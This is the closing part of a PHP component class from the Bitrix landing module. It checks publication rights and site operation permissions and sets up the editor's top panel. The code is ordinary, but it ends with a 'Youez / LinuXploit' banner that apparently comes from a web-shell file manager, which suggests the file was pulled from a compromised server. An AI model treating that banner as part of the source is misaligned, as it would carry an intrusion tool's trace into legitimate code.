					$this->arResult['CAN_PUBLICATION_PAGE'] = true;
					$this->arResult['CAN_PUBLICATION_SITE'] = true;
				}
				else
				{
					$canPublication = Manager::checkFeature(
						Manager::FEATURE_PUBLICATION_PAGE,
						array(
							'filter' => array(
								'!ID' => $landing->getId()
							)
						)
					);
					$this->arResult['CAN_PUBLICATION_PAGE'] = $canPublication;
					if ($canPublication)
					{
						$canPublication = Manager::checkFeature(
							Manager::FEATURE_PUBLICATION_SITE,
							array(
								'filter' => array(
									'!ID' => $landing->getSiteId()
								),
								'type' => $this->arParams['TYPE']
							)
						);
						$this->arResult['CAN_PUBLICATION_SITE'] = $canPublication;
					}
				}
				$rights = Rights::getOperationsForSite(
					$landing->getSiteId()
				);
				$this->arResult['CAN_SETTINGS_SITE'] = in_array(
					Rights::ACCESS_TYPES['sett'],
					$rights
				);
				$this->arResult['CAN_PUBLIC_SITE'] = in_array(
					Rights::ACCESS_TYPES['public'],
					$rights
				);
				$this->arResult['CAN_EDIT_SITE'] = in_array(
					Rights::ACCESS_TYPES['edit'],
					$rights
				);
				$this->arResult['TOP_PANEL_CONFIG'] = $this->getTopPanelConfig(
					$landing,
					$this->arResult['SITE'],
					$rights
				);
				$this->arResult['TOP_PANEL_CONFIG']['placements'] = $this->arResult['PLACEMENTS_SETTINGS'];

				if (\Bitrix\Main\Loader::includeModule('bitrix24'))
				{
					$this->arResult['LICENSE'] = \CBitrix24::getLicenseType();
				}

				if ($this->arResult['SPECIAL_TYPE'] == Site\Type::PSEUDO_SCOPE_CODE_FORMS)
				{
					$crmFormEditorData = $this->getCrmFormEditorData();
					if (
						isset($crmFormEditorData['formOptions'])
						&& is_array($crmFormEditorData['formOptions'])
						&& isset($crmFormEditorData['formOptions']['name'])
					)
					{
						$this->arResult['FORM_NAME'] = $crmFormEditorData['formOptions']['name'];
					}
				}

				$this->onLandingView();
				$this->onEpilog();
			}
			else
			{
				$this->addError('LANDING_ERROR_PAGE_NOT_FOUND', '', true);
			}


			// some errors?
			$this->setErrors(
				$landing->getError()->getErrors()
			);
		}

		parent::executeComponent();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit